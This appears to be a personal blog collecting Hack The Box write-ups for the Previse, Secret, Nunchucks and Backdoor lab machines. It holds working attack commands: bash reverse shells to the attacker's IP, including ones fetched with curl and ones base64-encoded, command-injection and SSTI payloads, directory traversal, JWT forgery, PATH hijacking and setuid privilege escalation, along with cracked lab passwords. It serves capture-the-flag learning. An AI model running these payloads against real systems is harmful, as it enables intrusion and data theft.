After spawning the box, I sent a ping request to ensure it was online. Following that, I performed a Nmap scan against all ports, requesting service versions and running default scripts. As a result, I learnt that ports 22 for SSH and ports 80 for HTTP were open. Looking at the results I could see that the box’s OS was Ubuntu and that the Apache version was 2.4.29. There was no httponly flag set on the PHPSESSID cookie so It could be stolen with XSS. However, I don’t think that’s part of the box, it’s just an observation.

┌──(kali㉿kali)-[~/HTB/Previse]
└─$ sudo nmap -sC -sV -p- 10.129.95.185 --min-rate 10000 -oA previse
Previse Enumeration

Previse Web Application Enumeration

Since SSH was unlikely to be the attack vector, I visited the web application. Upon visiting the application there was a login form but not much else. I tried to log in with a few different sets of credentials but didn’t have much luck. Next, I ran some automated scans with Nikto and whatweb but didn’t learn much that I could use.

Previse Web Application Enumeration

Following the Nikto and whatweb scans, I ran gobuster to try and discover any sensitive content. The output of the gobuster scans shows some interesting behaviours. When getting redirected (whether a 301 or a 302), the size of the content changes depending on where you’re being redirected to or from.

┌──(kali㉿kali)-[~/HTB/Previse]
└─$ gobuster dir -u http://10.129.95.185 -w /media/sf_OneDrive/SecLists/Discovery/Web-Content/raft-small-words.txt -x php,txt,html -o gobuster.out
Previse Web Application Gobuster

Execute After Redirect

The inconsistent file size on the redirects is being caused by a vulnerability known as an EAR or Execute After Redirect vulnerability. To illustrate, I have captured a request to the root of the application. Usually, one would expect to see a 200 response code and for the index.html or index.php page to load. However, this application attempts to redirect the visitor to the login.php page which produces the 301 or 302 response code. While this isn’t that unusual, the inconsistent redirect file size is. This suggests that content is being loaded during the redirection. As you can see below, the application shows me as being logged in before redirecting me to the login page.

Execute After Redirect 1

As you can imagine, this is a big information disclosure problem. I can now visit any page I like and retrieve sensitive information that would otherwise be protected by authentication. For instance, if I try visit the accounts.php page that gobuster discovered, I will be redirected to the login page. However, if I go to my Burp history, I can see the accounts page before the redirection takes place.

Execute After Redirect 2

Exploiting Execute After Redirect

Information disclosure is great but I can now abuse the EAR vulnerability to change the behaviour of the application. First, I turned intercept on and made a request to /accounts.php in the browser. Next, I told Burp to intercept responses from the server.

Execute After Redirect 3

After sending the request, I received the redirection page. I change the response code from 302 to 200 so that the redirection never takes place. Finally, I forwarded the request and the accounts page loaded in the browser. I feel like I’m Doctor Strange changing the universe so that nobody knows who Spiderman is.

Execute After Redirect 4

With the accounts.php loaded in the browser, I attempted to create a new user called haxez with the password of password. I clicked the create user button and as you can see from the Burp screenshot below, the user was successfully created.

Execute After Redirect 5

I was then able to log in as the newly created user. This is some mysterious witches’ and wizards’ dark arts time stop magic! This is why I have a huge amount of respect and admiration for good web application hackers. There are so many technologies and quirks to those technologies that they must have studied for a lifetime to be good. Web-hacking witches and wizards, I salute you and you’re magic.

Previse Authenticated

Further Enumeration

After logging in to the application, I started poking around. I noticed the files page and saw that it had a backup file of the application. Nmap identified that the webserver was apache, and whatweb identified that the site was written in PHP. Since the site has an authentication mechanism, I can assume that it has a backend database. Furthermore, I can also assume that the site backup may contain the configuration file that allows the application to connect to that database.

Previse Site Backup

I downloaded the files and sure enough, there was a config.php file which contained credentials for the database. The username was root and the password was mySQL_p@ssw0rd!: Immediately, I tried to SSH to the box with the credentials (call me an optimist) but they didn’t work. However, they could come in handy later so I kept them safe.

Database Connection String

Previse Foothold

I performed a grep on all files to search for all instances of ‘$_’ as this would show user interactable variables. One of the last lines in the results shows that the file logs.php contains the PHP exec function. The PHP documentation for this function explains that it can be used to execute external programs. Currently, the function is being used to execute a Python script which stores the results in the $output variable. However, I should be able to escape this using a semicolon and execute my own command.

PHP Exec Function

I visited logs.php and submitted the request. Next, I went to my Burp HTTP history to find the request and forwarded it to the repeater. Following that, I set up my netcat listener on port 9001. Finally, added my reverse shell to the request, URL enoded it and sent it. I received a reverse shell back and was able to run whoami, but then it died. This kept happening after every command.

delim=comma%3b+bash+-c+'bash+-t+>%26+/dev/tcp/10.10.14.36/9001+0>%261'
Broken Shell

Not knowing why this was happening, I threw a bash script together and hosted it using a Python webserver. Then I modified the original request to curl the file from my host and execute it using bash. The reverse shell was now much more stable.

┌──(kali㉿kali)-[~/HTB/Previse]
└─$ cat shell.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.36/1337 0>&1

delim=comma%3b+curl+http%3a//10.10.14.36/shell.sh|bash
Revere Shell With Curl

I upgraded my shell but was unable to capture the user flag.

Unable to capture flag

Previse Authenticated Host Enumeration

First, I ran socket stats to see what services were listening. As you can see, MySQL was listening on port 3306 and I already had the credentials to access it.

Previse Authenticated Host Enumeration

I logged in to MySQL as the root user and then used the show databases command. From the results, I learnt that there was a database named precise. Furthermore, telling MySQL to use that database and then running the show tables command revealed that there was an accounts table. Finally, I asked MySQL to dump the contents of that table which gave me the hashes for the Previse web application users.

www-data@previse:/var/www/html$ mysql -u root -p 
mysql -u root -p
Enter password: mySQL_p@ssw0rd!:)
mysql> show databases;
mysql> use previse;
mysql> show tables;
mysql> select * from accounts;
Hashes Dumped

However, it seems that the creator of this box likes to troll a bit and has included an emoji for salt in the password hash. Fortunately, MySQL can output the contents of a table to base64 which should make it easier to process.

mysql> select TO_BASE64(password) from accounts where id = 1;
select TO_BASE64(password) from accounts where id = 1;
+--------------------------------------------------+
| TO_BASE64(password) |
+--------------------------------------------------+
| JDEk8J+ngmxsb2wkRFFwbWR2bmI3RWV1TzZVYXFSSXRmLg== |
+--------------------------------------------------+
1 row in set (0.00 sec)

I copied the base64 encoded data to my localhost and then echoed and piped it to base64 to decode it before appending it to a file called hash.txt

Previse Lateral Movement

As I had now obtained a password hash for the m4lwhere user, I fed it to hashcat to see if I could crack it. Hashcat successfully cracked the hash and revealed that the password was ilovecody112235!

┌──(kali㉿kali)-[~/HTB/Previse]
└─$ hashcat -m 500 hash.txt /usr/share/wordlists/rockyou.txt
Hashcat

After cracking the hash, I successfully switched users to the m4lwhere user and was able to capture the user flag.

www-data@previse:/var/www/html$ su - m4lwhere
su - m4lwhere
Password: ilovecody112235!
m4lwhere@previse:~$ pwd
pwd
/home/m4lwhere
m4lwhere@previse:~$ cat user.txt
cat user.txt
007▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓5fc

I could also now log in as the m4lwhere user via SSH using password authentication.

Previse Privilege Escalation

Once logged in via SSH, I ran the sudo -l command to see if I had sudo and if so, what I could do with it. The output showed that could run a backup script but the output didn’t look right. For example, if I compare the output of sudo -l from my local machine to the output on the target host, the target host is missing the paths.

┌──(kali㉿kali)-[~]
└─$ sudo -l
[sudo] password for kali:
Matching Defaults entries for kali on kali:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User kali may run the following commands on kali:
(ALL : ALL) ALL

m4lwhere@previse:~$ sudo -l
[sudo] password for m4lwhere:
User m4lwhere may run the following commands on previse:
(root) /opt/scripts/access_backup.sh

I checked the contents of the backup script to see what it was doing. In short, the script was using gzip to compress log files and save them to the /var/backups directory. However, it wasn’t calling gzip using an absolute path. Therefore, I should be able to create my own gzip file and then change my PATH environmental variable so that the script executes my gzip as root.

Backup Script

First, I changed the directory to /tmp and created my gzip file. The new gzip file creates a reverse shell back to my box on port 9003. I then gave it executable permissions

m4lwhere@previse:/tmp$ cat gzip
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.36/9003 0>&1
m4lwhere@previse:/tmp$ chmod +x gzip

Next, I changed my PATH environmental variable to point to /tmp. However, I buggered this up a bit and couldn’t run other commands until I fixed it. I didn’t include the rest of the binary paths. Fortunately, I was able to set it again with the rest of the paths.

m4lwhere@previse:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Finally, I set up a netcat listener on my box and then executed the /opt/scripts/access_backup.sh script as sudo which sent a reverse shell back to my box and allowed me to capture the root flag.

┌──(kali㉿kali)-[~]
└─$ sudo nc -lvnp 9003
[sudo] password for kali:
listening on [any] 9003 ...
connect to [10.10.14.36] from (UNKNOWN) [10.129.95.185] 52792
root@previse:/tmp# cat /root/root.txt
cat /root/root.txt
97f▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓10a

Previse Learnings

This was a great box and probably one of my favourites now. I learnt about a web vulnerability that I hadn’t heard of before. Exploiting that vulnerability felt like I was uncovering some secret ancient forbidden magic. Furthermore, I didn’t know you could just change the status code on a whim to change behaviour but of course, you can.

I enjoyed enumerating the box once I had established a foothold. It was running services that I’m fairly familiar with and comfortable using. I always feel out of my depth when I get on a box and hardly recognise anything. The privilege escalation was fun and allowed me to practise and refine my existing skills. Overall, this was an enjoyable box which taught me something new and allowed me to practise on technologies I’m familiar with, perfect!

Hack The Box – Secret

Secret is an easy Linux box created by z9fr on Hack The Box and this is how I hacked it. Hello world, welcome to haxez where in this post I will be explaining how to defeat the secret box. It is a retried easy Linux virtual machine which appears to require manipulating JWT tokens for a foothold. I’ve only recently started learning about JWT tokens so this should be interesting.

Secret Enumeration

I span up the box and pinged it to make sure it was online and that I could talk to it. Next, I kicked off a Nmap scan targeting all ports and requesting service versions and running safe scripts. Below, you can see the output of the scan showing that ports 22 for SSH, 80 for HTTP and 3000 for HTTP were exposed. Furthermore, Nmap has identified that it is an Ubuntu box running an Nginx webserver with a Node.JS Express application.

┌──(kali㉿kali)-[~/HTB/Secret]
└─$ sudo nmap -sC -sV -p- 10.129.236.242
Secret Enumeration

Secret Application Enumeration

I navigated to the application on both ports 80 and 3000 and the application was the same. As a result, I started poking at the application on port 80 and discovered that I was able to download the source code. Furthermore, the application is well documented.

Secret Application Enumeration

For example, the register user button took me to a page explaining how to register a user via the API. It seems that I need to send a post request with various parameters in the Json body.

User Registration

User Registration

I sent a GET request to Burp Repeater and changed the request method to POST. Next, I added the required Json body content and sent the request. Initially, it sent back an error because there was some character length validation on the username and password. However, after modifying the request to comply with the character length, it worked. One thing I did notice was that the requests were being sent to port 3000.

Burp Request

User Authentication

Next, I took a look at the ‘Login User’ documentation which explained how to log in. The request was similar but only required the email and password. Furthermore, the endpoint was ‘/api/user/login’ rather than register. I sent my user registration request back to ‘Repeater’ and modified it to meet these requirements. I sent the request and the response contained a JWT token.

More Burp

Secret Static Code Analysis

I attempted to submit the token to the API but it rejected it because I wasn’t sure how to send it. After downloading the source code and watching IppSec’s Youtube video, I stumbled upon the verifytoken.js function. Below, you can see this function and that it requires the header auth-token.

Secret Code Analysis

After modifying the GET request, I was able to get a response back from the application informing me that I was a normal user. In conclusion, I have now worked out the authentication process which should make it easier to attack.

Burp

JWT Token Secret

JWT stands for JSON Web Token, and it’s a compact, URL-safe means of representing claims to be transferred between two parties. It is commonly used for authentication and authorization purposes in web applications. The JWT contains encoded information that includes a set of claims, such as user ID or access rights, and a signature to verify the authenticity of the token. The signature is based on a secret key that only the server knows, making it difficult for a malicious party to tamper with the token. We can view our existing JWT token on jwt.io.

JWT Secret

Above, we can see the decoded JWT token containing the signature algorithm of HS256. Furthermore, it includes our ID number, name, email and the issued time. Finally, it has a signature which is used to verify the token. I’m still learning how the signature process works so I may have explained it incorrectly. However if the signature is wrong, the server will reject the token.

Secret Git History

While listing out the contents of the downloaded source code, I noticed a ‘.git’ file. The persence of this file implys that this is a git repository.

Secret Git History

I decided to check the git commit history. Below you can see the results of running the ‘git log’ command. Furthermore, I noticed an interesting comment explaining that the ‘.env’ was removed for security reasons.

Git Commit History

I decided to take a look at this commit by using the ‘git show’ command followed by the unique identifier. Below, you can see the output which includes the value of the TOKEN_SECRET parameter. This appears to be the secret key that the server is using to validate the JWT tokens.

Token Secret

Forging A JSON Web Token

Now that I have the secret token, I should be able to make my own tokens which the server should verify. I confirmed this by heading back to jwt.io and inputting the token secret into the signature.

Forging A JSON Web Token Secret

Next, I coped with the new encoded token and modified the GET request to ‘/api/priv’ with the new token. I then sent this request to the server and it validated me. At this point, I can see where this attack chain is going but there are some unknown parameters. I believe we have the admin email address but we also need their ‘_id’. I suspect we will find it in the source code.

More burp

The Admin

Looking through private.js I noticed an if statement that checks if the username is ‘theadmin’. If the username is ‘theadmin’ then it will respond with “welcome back admin”. There don’t appear to be any other checks (such as the _id).

More code review

For that reason, I headed back to jwt.io and changed the name parameter to ‘theadmin’. I didn’t change anything else.

More JWT

Next, I went back to Burp and updated the request with the new token and sent it. Sure enough, the application responded with “welcome back admin”. It’s surprising that there were all those additional parameters that didn’t get verified.

Burp Secret

Secret Foothold

Digging deeper into the private.js file I noticed that there was a ‘/logs’ route. In short, if our JWT token identifies us as ‘theadmin’ then we can access ‘/logs’. Furthermore, the ‘logs’ route accepts parameters and passes them to ‘git log –oneline’. This should allow me to command execution.

More code

Below, you can see a GET request to the ‘logs’ endpoint with the file parameter appended. Furthermore, the value of the file parameter is ‘test;whoami’ where the test is the search string, and the semicolon escapes the search and runs the ‘whoami’ command. This proof of concept was successful and I was able to enumerate the webserver user.

More Burp Secret

I created a reverse shell and base64 encoded it ensuring to do so in a way that removed plus and equals sign symbols. Next, I set up my netcat listener on port 9001.

┌──(kali㉿kali)-[~]
└─$ echo -n 'bash -i >& /dev/tcp/10.10.14.34/9001 0>&1' | base64 -w 0
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMzQvOTAwMSAwPiYx

I then appended the base64 encoded payload to the file parameter and commanded the server to echo the base64 encoded string, decode it and execute it with bash.

GET http://localhost:3000/api/logs?file=test;echo+-n+YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMzQvOTAwMSAwPiYx+|+base64+-d+|+bash

This sent a reverse shell back to my machine and I was able to capture the user flag.

┌──(kali㉿kali)-[~/HTB/Secret/local-web]
└─$ sudo nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.34] from (UNKNOWN) [10.129.236.242] 39934
dasith@secret:~/local-web$ cat /home/dasith/user.txt
cat /home/dasith/user.txt
449▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓058
dasith@secret:~/local-web$

Secret Persistence

To ensure I could quickly access the box again if I were to lose my reverse shell, I created the .ssh directory. Next, I created a public/private key pair using ‘ssh-keygen’ and used ‘echo’ to add the public key to the ‘authorized_keys’ file. I could then SSH to the box as the ‘dasith’ user with the private key. Once I was back on the box it was time to perform some more enumeration. Therefore, I used the find tool to identify all ‘setuid’ files on the system. Below, you can see a screenshot showing the results of the command.

dasith@secret:~$ find / -perm -u=s -type f 2>/dev/null
Finding files

The ‘/opt/count’ file sticks out mainly because it is ‘/opt’ directory used for optional binaries. Checking the permissions on the file, I confirmed that it was owned by root, had ‘setuid’ and was executable by anyone. If I was to run this binary as the dasith user, it would retain the privileges of the root user. Therefore, it would be able to access areas of the system that the dasith user couldn’t

Count file

Secret Privilege Escalation

The developer of the count binary was kind enough to leave behind the source code for us to look at. Unfortunately, my lack of coding ability and knowledge of functions is going to restrict me in understand why this is vulnerable. According to the official walkthrough, the presence of ‘prctl(PR_SET_DUMPABLE, 1)’ combined with the ‘vargrind.log’ creates a vulnerable condition. Since the count binary is executing with the privileges of the root user, we can use it to open a file and then force it to crash. Upon crashing, it will write the contents of whatever was opened to the core dump log file.

Secret Code

Let’s do it. First, I ran the count binary and told l it to open the root user’s SSH private key.

dasith@secret:/opt$ /opt/count
Enter source file/directory name: /root/.ssh/id_rsa
Total characters = 2602
Total words = 45
Total lines = 39
Save results a file? [y/N]:

Next, I used ‘CTRL Z’ to background the process and then used kill to crash the count binary. I then used ‘fg’ to foreground the binary.

dasith@secret:/opt$ kill -SIGSEGV `ps -e | grep -w "count" |awk -F ' ' '{print$1}'`
dasith@secret:/opt$ fg
/opt/count
Segmentation fault (core dumped)

That was completed successfully as you can see it caused a segmentation fault. I recognise that error from the very few buffer overflow challenges I’ve done. I then used ‘apport-unpack’ to unpack the crash dump to ‘/tmp’ and then used strings on the core dump file to retrieve the root user’s SSH key.

dasith@secret:/var/crash$ apport-unpack _opt_count.1000.crash /tmp/crash_unpacked
dasith@secret:/tmp/crash_unpacked$ strings CoreDump
Private Key

Finally, I echoed the private key in a file and gave it 600 permissions. I then used SSH to connect to localhost as the root user using the key and grabbed the root.txt flag.

dasith@secret:~$ ssh -i key root@localhost
Last login: Tue Oct 26 16:35:01 2021 from 10.10.14.6
root@secret:~# cat /root/root.txt
b00▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓a1c

Secret Learnings

I enjoyed completing this box, it had a fun foothold and an interesting privilege escalation. I’ve been doing a bit with JWT tokens recently so the foothold complimented it nicely. 6 months ago I wouldn’t have had a clue how to attack JWT tokens but now I believe I could have worked that part out. However, I’m not sure I would have seen the git file and thought to enumerate the repository. This is something that I will remember if it comes up again. My reverse shell through Burp worked the first time which was nice.

The privilege escalation was fascinating. I understand the logic behind it but I don’t believe I would have worked it out from the code. It’s difficult to say because in hindsight everything seems easier than when you first approached it. I like how it was different to more common setuid privilege escalations. It required thinking outside of the constraints of the binary. I probably would have spent hours trying to escape the binary like a typical GTFO bin exploit. I suppose that’s exactly what we did in a way.

Hack The Box – Nunchucks

Nunchucks is an easy Linux box created by TheCyberGeek on Hack The Box and I intend to hack it. Hello world, welcome to Haxez in this post I will be explaining how I hacked into Nunchucks and stole the flags. Since I’m still learning, I will be using the official walkthrough when needed. Therefore, you should think of this write-up as a typical blog documenting my experience, rather than a walkthrough.

Nunchucks Enumeration

I started the Nunhucks machine and connected to the VPN. Next, I pinged the box to ensure that it was online and that I could talk to it. Below, you can see the results of the Nmap scan showing that port 22 for SSH, port 80 for HTTP and port 443 for HTTPS were open. Consequently, I can see that this is an Ubuntu box running Nginx. Furthermore, it appears that the domain associated with the box is nunchucks.htb. I wonder if TheCyberGeek is from Dorset as that’s where the SSL certificate is set to. One of my closest friends lived in Dorset and I used to visit regularly. Lovely place!

┌──(kali㉿kali)-[~/HTB/Nunchucks]
└─$ sudo nmap -sC -sV -p- 10.129.236.104
Nunchucks Enumeration

Nunchucks Application Enumeration

Following my Nmap scans, I attempted to visit the IP address in my browser but it immediately redirected to the nunchucks.htb domain name. Therefore, I echoed the domain and IP address into my host file so that the application would redirect correctly and I could visit it. Below, you can see the result of attempting to visit the IP address followed by the command to add the domain to my host file. Finally, you can see the intended application.

Nunchucks Application Enumeration
┌──(kali㉿kali)-[~/HTB/Nunchucks]
└─$ echo "10.129.236.104 nunchucks.htb" | sudo tee -a /etc/hosts
10.129.236.104 nunchucks.htb
Nunchucks.htb

If you know the enemy and know yourself, you need not fear the result of a hundred battles. Sun Tzu would have made an excellent hacker. Knowing as much as we can about the application will help us defeat it. Therefore, I ran ‘whatweb’ against the application to identify the technologies in use. As a result, I could see that it was a Node JS application utilizing the Express framework. I’ve only just started to learn about Node JS so my terminology may be wrong.

┌──(kali㉿kali)-[~/HTB/Nunchucks]
└─$ sudo whatweb http://nunchucks.htb
Nunchucks whatweb

Crawling Forward

Initially, I attempted to register a user but received an error. Furthermore, attempting to log in with generic credentials resulted in an error message advising that user logins were disabled. Consequently, I wasn’t sure what to do next so I checked the official walkthrough. The author (TheCyberGeek) explains that at the bottom of the page, there is a message advising that a store is coming soon. As a result, we should brute force additional virtual hosts.

shop virtualhost

There are a number of tools that I could have used to brute force additional virtual hosts. However, I thought it best that I stick to ‘gobuster’ since that’s what TheCyberGeek used. Unfortunately, it didn’t work which I found surprising. I performed a grep on the wordlist and ‘shop’ was definitely in there.

gobuster

Therefore, I decided to try ‘ffuf’ which I’m happy to report found pretty quickly. Initially, I ran it without any filters to identify the file size of the error page. Next, I added the file size to filter out all pages with that file size. As a result, we found the shop virtual host with a file size of 4029. I’m not sure why gobuster didn’t find it. Obviously, I could have just added the store virtual host to my host file as it was a logical assumption but this way I get to use tools. In the past, I’ve either quit or jumped ahead when something didn’t work. This is a bad practice to be avoided as you don’t learn anything.

┌──(kali㉿kali)-[~/HTB/Nunchucks]
└─$ sudo ffuf -u https://10.129.236.104 -H 'HOST: FUZZ.nunchucks.htb' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fs 30589
ffuf nunchucks

Finally, I added the host to my host file.

┌──(kali㉿kali)-[~/HTB/Nunchucks]
└─$ echo "10.129.236.104 store.nunchucks.htb" | sudo tee -a /etc/hosts
10.129.236.104 store.nunchucks.htb

Going Shopping

I visited the new host in my browser but other than a wholesome background, there wasn’t much going on. There was an option to subscribe to the newsletter but that was about it. I dipped into the page source but couldn’t see much. I also ran ‘whatweb’ again and discovered that this application is also using the Node JS Express framework.

store.nunchucks.htb

The mailing list subscription box piqued my interest as the submitted input was reflected back on the page. I tried some generic XSS payloads but the form appeared to be validating the input. As a result, I headed back to the official walkthrough and the name of the box suddenly made sense.

hacktricks ssti

Nunchucks Server Side Template Injection

SSTI (Server-Side Template Injection) is a type of web application vulnerability that occurs when an attacker is able to inject and execute their own code within a server-side template. This can allow the attacker to access sensitive information or perform unauthorized actions on the web application, potentially compromising the entire system. SSTI attacks often target applications that use templates to dynamically generate web pages, such as those using popular frameworks like Flask or Django. Proper input validation and output encoding can help prevent SSTI vulnerabilities. Below, you can see that injecting the payload of ‘808/2’ resulted in the reflected response containing ‘[email protected]’. The box calculated the sum and returned the answer in its response.

SSTI bob Nunchucks

After confirming the SSTI vulnerability, I found the POST request in Burp and attempted to retrieve the contents of the ‘/etc/passwd’ file. My first attempt wasn’t so successful but it caused the application to error and show the application file paths. This was a good thing because I now had more information about the application.

Burp SSTI Error

Unfortunately, the payload on Hacktricks didn’t work. Once again, I headed to the official walkthrough for answers. Despite getting the working payload, I didn’t find the answers I was looking for. I wanted to know why backslashes had to be added to the payload. Below, you can see the original payload (from Hacktricks) and the one used to complete the exploit. The difference between them is the two backslashes. It seems that the backslash is needed to escape the quotation mark but now I’m wondering why one is outside the quotation mark while the other is inside.

Sorry for the image, medium hates SSTI examples in code blocks.

ssti

Cybersecurity, climbing over one wall and running face-first into another. I’m not looking forward to getting the reverse shell to work.

Nunchucks Foothold

As I suspected, I did not enjoy this part and it made me contemplate what I’m doing with my life. It seems so simple to execute yet everything I tried resulted in an error. Even after intensive google searches and reading everyone else’s walkthroughs, my payload still wouldn’t work. I was escaping the double quotes properly, I was escaping other quotes or replacing them with single quotes. Consequently, I was losing my mind.

Finally, I reset the box. I can’t see how it would have made a difference but the payloads I had previously tried now started working. I followed this guide >>HERE<< to drop an SSH key into Davids’s authorized keys files. The attack chain was using SSTI to cat the ‘/etc/passwd’ file. Identifying David as a user and checking his home directory. Then creating the .ssh directory and echoing my public key into his authozied_keys file. You can use the snippet below and replace the commands with the commands needed for the attack chain.

ssti passwd
SSTI authorized_keys

I was finally able to grab the user key.

┌──(kali㉿kali)-[~/HTB/Nunchucks]
└─$ ssh -i key [email protected]
david@nunchucks:~$ cat user.txt
774▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓c50

Nunchucks Authenticated Enumeration

Once on the box, I downloaded and ran LinPEAS to look for any obvious signs of a privilege escalation path. It found two CVE’s but they were not the intended path to root. However, it did find that Perl had setuid capabilities set. Furthermore, it also identified that a number of backup files were owned by roots but part of the david group.

LinPEAS

We’re now entering into territory beyond my current knowledge level. For that reason, I’m just going to regurgitate the steps from the official walkthrough.

Unfortunately, Perl having ‘setuid’ capabilities set didn’t mean we could elevate our privileges. In fact, attempting to do so resulted in errors that suggested something else was at work. For example, attempting to cat the shadow file with Perl resulted in a permission denied error. According to GTFO bins, this should have allowed us to read the file.

david@nunchucks:~$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "cat /etc/shadow";'
cat: /etc/shadow: Permission denied

Moreover, running the ‘whoami’ command with Perl tells us we’re root. What’s going on here? Is the system having some split-brain identity crisis and not giving us the privileges of the root user?

david@nunchucks:~$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";'
root

From further enumeration, it seems there is an AppArmor profile for Perl which contains a reference to a script in opt.

Perl Script

Privilege Escalation

We can see that the script is owned by root but from peaking inside the script we can see that it is using ‘POSIX::setuid(0);’ so that it runs as root even when a different user runs it. I’m struggling to do the mental acrobatics to work this out. The file is owned by root but can be executed by anybody. However, due to the ‘setuid’ line in the script, it will run with root privileges. This is a clever way of hiding the file from automated tools like LinPEAS and I hate you. Of course, we can’t edit this script to add our own command to it to elevate our privileges.

Nunchucks posix

This next step shows how big of a security hole the SETUID capabilities on the Perl binary are even though it’s restricted with AppArmor. This bug >>HERE<< explains that if a script has a shebang to the binary in question, it doesn’t get given the restrictions imposed by the AppArmour profile. That’s quite a significant bug and we can use it to elevate ourselves to ‘root’ and finally capture the root flag. You can see the exploit below.

david@nunchucks:~$ vim whoops.pl
david@nunchucks:~$ cat whoops.pl
#!/usr/bin/perl
use POSIX qw(setuid);
POSIX::setuid(0);
exec "/bin/bash";
david@nunchucks:~$ chmod +x whoops.pl
david@nunchucks:~$ ./whoops.pl
root@nunchucks:~# cat /root/root.txt
5fc▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓b21

Nunchucks Learnings

I’m glad I’ve finished this box. For me, this box was hard to complete and I wouldn’t have been able to do it without the walkthrough. Admittedly, I almost gave up when trying to get a foothold but persistence eventually paid off. Unfortunately, I still don’t understand what I was doing wrong but I got there in the end. I tend to struggle when getting reverse shells through Burp and it’s something I need to work on.

The privilege escalation hammered home that automated tools won’t always tell you what you need to do. I don’t think I would have worked it out. In fact, I probably would have kept trying GTFO bins but eventually gave up. This box is a great example of thinking outside of the box/binary. It also highlighted how big the gaps in my knowledge are and has left me questioning my own capabilities. Until next time!

Hack The Box – Backdoor

Backdoor is an easy Linux box created by hkabubaker17 on Hack The Back and I’m going to hack it. Hello world, welcome to Haxez where today I will be sneaking in through the backdoor and stealing all the flags. Backdoors used to be a thing and weren’t just a Hollywood cliche put into cheesy hacker films. Backdoors were used by programmers or hackers to access systems or elevate their privileges at a later date.

Backdoor Enumeration

I’m going to try to steer clear of bad jokes and avoid using puns in this write-up. First, I pinged the box to see if it was online and then ran a Nmap scan targeting all ports and checking for service versions. As a result, we can see that port 22 for SSH and port 80 for HTTP were open. Furthermore, we can see that this is likely an ubuntu box running Apache with a WordPress content management system. Finally, we see port 1337 with not a lot of information.

┌──(kali㉿kali)-[~/HTB/Backdoor]
└─$ sudo nmap -sC -sV -p- 10.129.96.68 -oA backdoor
Backdoor Enumeration

Exploring The Backdoor Application

I did a quick netcat connection to port 1337 but didn’t get anything back. For that reason, I’m going to go look at the application instead. As you can see below, it is using WordPress and a default WordPress theme. If we hover over the home link we can see that the domain name for the application is backdoor.htb.

Exploring The Backdoor Application

Adding that name to our host file and specifying the IP address will let us view the application via the domain.

┌──(kali㉿kali)-[~/HTB/Backdoor]
└─$ sudo echo "10.129.96.68 backdoor.htb" | sudo tee -a /etc/hosts

Backdoor WordPress Plugins

I ran an API WPScan against the target and it found a lot of vulnerabilities that we could use to exploit this box. However, none of those vulnerabilities was the intended method of compromising this box. The method of exploiting this box is supposed to be through a plugin called ‘ebook-download’. However, WPScan didn’t identify any plugins. Therefore, I navigated to the ‘/wp-content/plugins’ directory and as shown below it allowed me to list out the contents of the directory and find the vulnerable plugin.

Backdoor WordPress Plugins

Open directory listing feels like I’ve been fighting a robot and managed to damage it enough to see some of its internal circuits. That’s not relevant at all but I just thought I’d tell you. I need to make a retraction here, WPScan did find the plugin and reported the vulnerability but only when using aggressive mode. I didn’t know aggressive mode existed so I still wouldn’t have found it.

WPScan

Ebook-Download Directory Traversal

As WPScan didn’t find this plugin, I’m not sure I would have either. A standard file and directory brute-forcing tool would have found it but I don’t know if I would have seen it as an attack vector. After discovering the plugin, I googled it and found a directory traversal vulnerability. You can find the vulnerability >>HERE<< on Exploit DB. Navigating to the URL will automatically download the WordPress configuration file or you can use wget. From the file, we’re able to identify the database user ‘wordpressuser’ and password ‘MQYBJSaD#DxG6qbm’ I presume we can log in as admin with this password and upload a shell.

┌──(kali㉿kali)-[~]
└─$ wget http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php
WP Config File Backdoor

Deeper Down The Rabbit Hole

It wasn’t possible to log in with that password as the ‘Admin’ user. However, we can still enumerate the system with the directory traversal vulnerability. Despite getting this far, I doubt I would have made it any further without a walkthrough. Do you ever watch an IppSec video and contemplate whether you’re smart enough to be a penetration tester? I do. Some of the techniques he uses completely blow my mind. I understand them but I never would have thought of them. The command below uses the directory traversal vulnerability to steal information from all the system processes.

┌──(kali㉿kali)-[~/HTB/Backdoor/pid]
└─$ for i in $(seq 0 1000); do curl http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/$i/cmdline --output - | cut -d'/' -f 8- | sed 's/<script.*//g' > $i; done
Backdoor Processes

Next, we can use the find command to go through all the files bigger than a specific size and cat the output of those files.

┌──(kali㉿kali)-[~/HTB/Backdoor/pid]
└─$ for i in $(find . -type f -size +20c); do cat $i | sed 's/cmdline/\t/g'; done
Back Door Processess Formatted

Try The Backdoor

if I were gonna hack some heavy metal, I’d, uh, work my way back through some low security, and try the back door.

Looking through the process list we can see that ‘gsbserver’ is the service that was listening on port 1337. GDBserver is a program that allows a remote machine to debug another machine’s programs using the GNU Debugger (GDB). It provides a way for developers to debug programs on a target system that may not have enough resources to run the full GDB. GDBserver runs on the target machine and communicates with GDB on the host machine over a network connection. It allows developers to set breakpoints, examine variables, and step through code as if they were running the debugger locally. GDBserver is commonly used in embedded systems and other scenarios where the target system has limited resources or does not have a graphical interface. Metasploit has an exploit module for gdbserver.

Metasploit Backdoor

The exploit completes and we have a shell. From here we can capture the user flag.

meterpreter > shell
Process 21916 created.
Channel 1 created.
ls
user.txt
cat user.txt
